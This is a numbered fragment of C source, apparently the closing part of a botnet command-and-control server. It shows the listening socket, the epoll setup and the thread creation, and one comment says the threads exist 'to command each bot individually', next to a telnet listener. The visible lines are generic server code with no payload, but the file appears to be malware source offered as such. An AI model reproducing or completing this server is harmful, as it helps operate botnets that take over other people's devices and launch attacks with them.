  852. s = listen (listenFD, SOMAXCONN);
  853. if (s == -1)
  854. {
  855. perror ("listen");
  856. abort ();
  857. }
  858.  
  859. epollFD = epoll_create1 (0);
  860. if (epollFD == -1)
  861. {
  862. perror ("epoll_create");
  863. abort ();
  864. }
  865.  
  866. event.data.fd = listenFD;
  867. event.events = EPOLLIN | EPOLLET;
  868. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  869. if (s == -1)
  870. {
  871. perror ("epoll_ctl");
  872. abort ();
  873. }
  874.  
  875. pthread_t thread[threads + 2];
  876. while(threads--)
  877. {
  878. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  879. }
  880.  
  881. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  882.  
  883. while(1)
  884. {
  885. sleep(60);
  886. }
  887.  
  888. close (listenFD);
  889.  
  890. return EXIT_SUCCESS;
  891. }
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